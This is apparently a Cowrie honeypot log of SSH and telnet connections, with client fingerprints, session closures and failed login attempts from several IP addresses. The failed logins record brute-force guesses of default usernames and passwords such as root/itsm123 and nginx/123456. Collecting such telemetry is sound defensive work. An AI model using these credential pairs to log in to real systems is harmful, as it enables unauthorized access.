{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:27.811800Z","src_ip":"31.40.204.166","session":"95551c275ad2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user1234","message":"login attempt [user/user1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:28.511389Z","src_ip":"31.40.204.166","session":"95551c275ad2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:29.698049Z","src_ip":"31.40.204.166","session":"95551c275ad2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.4011652469635,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:32.362461Z","src_ip":"152.42.224.71","session":"f5de58a00862","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.456822872161865,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:32.859620Z","src_ip":"152.42.224.71","session":"c58b939d9d38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46414,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7f1d0ebeafe","protocol":"telnet","message":"New connection: 152.42.224.71:46414 (10.17.0.5:23) [session: b7f1d0ebeafe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:37.768101Z"}
{"eventid":"cowrie.session.closed","duration":42.38457465171814,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:38.851595Z","src_ip":"152.42.224.71","session":"1d33a77e4b5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":49702,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf81920634c0","protocol":"ssh","message":"New connection: 31.40.204.166:49702 (159.203.135.109:22) [session: cf81920634c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:39.006745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:39.087590Z","src_ip":"31.40.204.166","session":"cf81920634c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:39.188553Z","src_ip":"31.40.204.166","session":"cf81920634c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.88951539993286,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:39.480973Z","src_ip":"152.42.224.71","session":"d36a532b2a02","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"123456","message":"login attempt [nginx/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:39.717353Z","src_ip":"31.40.204.166","session":"cf81920634c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:41.005550Z","src_ip":"31.40.204.166","session":"cf81920634c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.44286632537842,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:41.418359Z","src_ip":"152.42.224.71","session":"f744a00d7ff8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46422,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a5606d69083","protocol":"telnet","message":"New connection: 152.42.224.71:46422 (10.17.0.5:23) [session: 6a5606d69083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:44.305874Z"}
{"eventid":"cowrie.session.closed","duration":50.18054127693176,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:49.932419Z","src_ip":"152.42.224.71","session":"9882941d84cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":42388,"dst_ip":"159.203.135.109","dst_port":22,"session":"d51c06ddec4e","protocol":"ssh","message":"New connection: 31.40.204.166:42388 (159.203.135.109:22) [session: d51c06ddec4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:50.684338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:50.691322Z","src_ip":"31.40.204.166","session":"d51c06ddec4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.0752055644989,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:50.809924Z","src_ip":"152.42.224.71","session":"3d91a994c1c8","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:50.814934Z","src_ip":"31.40.204.166","session":"d51c06ddec4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35734,"dst_ip":"10.17.0.5","dst_port":23,"session":"9206de05cb90","protocol":"telnet","message":"New connection: 152.42.224.71:35734 (10.17.0.5:23) [session: 9206de05cb90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:51.189515Z"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser","message":"login attempt [devuser/devuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:51.283738Z","src_ip":"31.40.204.166","session":"d51c06ddec4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35736,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f5be82a7d6d","protocol":"telnet","message":"New connection: 152.42.224.71:35736 (10.17.0.5:23) [session: 6f5be82a7d6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:52.190571Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:52.409040Z","src_ip":"31.40.204.166","session":"d51c06ddec4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.14814734458923,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:52.709316Z","src_ip":"152.42.224.71","session":"62d7aa2bc0b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35738,"dst_ip":"10.17.0.5","dst_port":23,"session":"f73857bf4b07","protocol":"telnet","message":"New connection: 152.42.224.71:35738 (10.17.0.5:23) [session: f73857bf4b07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:53.343172Z"}
{"eventid":"cowrie.session.closed","duration":9.625230312347412,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:53.930954Z","src_ip":"152.42.224.71","session":"6a5606d69083","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35742,"dst_ip":"10.17.0.5","dst_port":23,"session":"b38936a31d54","protocol":"telnet","message":"New connection: 152.42.224.71:35742 (10.17.0.5:23) [session: b38936a31d54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:34:55.307249Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57792,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce6eb12eedd3","protocol":"telnet","message":"New connection: 152.42.224.71:57792 (10.17.0.5:23) [session: ce6eb12eedd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:02.861181Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":39574,"dst_ip":"159.203.135.109","dst_port":22,"session":"0073b4e64b78","protocol":"ssh","message":"New connection: 31.40.204.166:39574 (159.203.135.109:22) [session: 0073b4e64b78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:03.614253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:03.702740Z","src_ip":"31.40.204.166","session":"0073b4e64b78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:04.011550Z","src_ip":"31.40.204.166","session":"0073b4e64b78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1234","message":"login attempt [deploy/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:04.486793Z","src_ip":"31.40.204.166","session":"0073b4e64b78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":49104,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a3eebb9efc3","protocol":"ssh","message":"New connection: 190.85.41.170:49104 (10.17.0.5:22) [session: 4a3eebb9efc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:04.606183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:04.610811Z","src_ip":"190.85.41.170","session":"4a3eebb9efc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:04.686264Z","src_ip":"190.85.41.170","session":"4a3eebb9efc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"itsm123","message":"login attempt [root/itsm123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:05.028088Z","src_ip":"190.85.41.170","session":"4a3eebb9efc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.159.59","src_port":59442,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d51f9422a0f","protocol":"ssh","message":"New connection: 170.106.159.59:59442 (10.17.0.5:22) [session: 5d51f9422a0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:05.626595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:05.632627Z","src_ip":"170.106.159.59","session":"5d51f9422a0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:05.702357Z","src_ip":"170.106.159.59","session":"5d51f9422a0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:05.709305Z","src_ip":"31.40.204.166","session":"0073b4e64b78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cic","message":"login attempt [root/cic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:06.009556Z","src_ip":"170.106.159.59","session":"5d51f9422a0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:06.107600Z","src_ip":"190.85.41.170","session":"4a3eebb9efc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60966,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2f5eebe3ff3","protocol":"telnet","message":"New connection: 152.42.224.71:60966 (10.17.0.5:23) [session: f2f5eebe3ff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:06.508913Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:07.080606Z","src_ip":"170.106.159.59","session":"5d51f9422a0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":38546,"dst_ip":"10.17.0.5","dst_port":22,"session":"810e4e7017b6","protocol":"ssh","message":"New connection: 103.91.246.101:38546 (10.17.0.5:22) [session: 810e4e7017b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:08.709785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:08.715664Z","src_ip":"103.91.246.101","session":"810e4e7017b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:08.942604Z","src_ip":"103.91.246.101","session":"810e4e7017b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.96.97","src_port":35966,"dst_ip":"10.17.0.5","dst_port":22,"session":"07f6e23eec02","protocol":"ssh","message":"New connection: 43.156.96.97:35966 (10.17.0.5:22) [session: 07f6e23eec02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:09.195022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:35:09.200320Z","src_ip":"43.156.96.97","session":"07f6e23eec02","protocol":"ssh"}
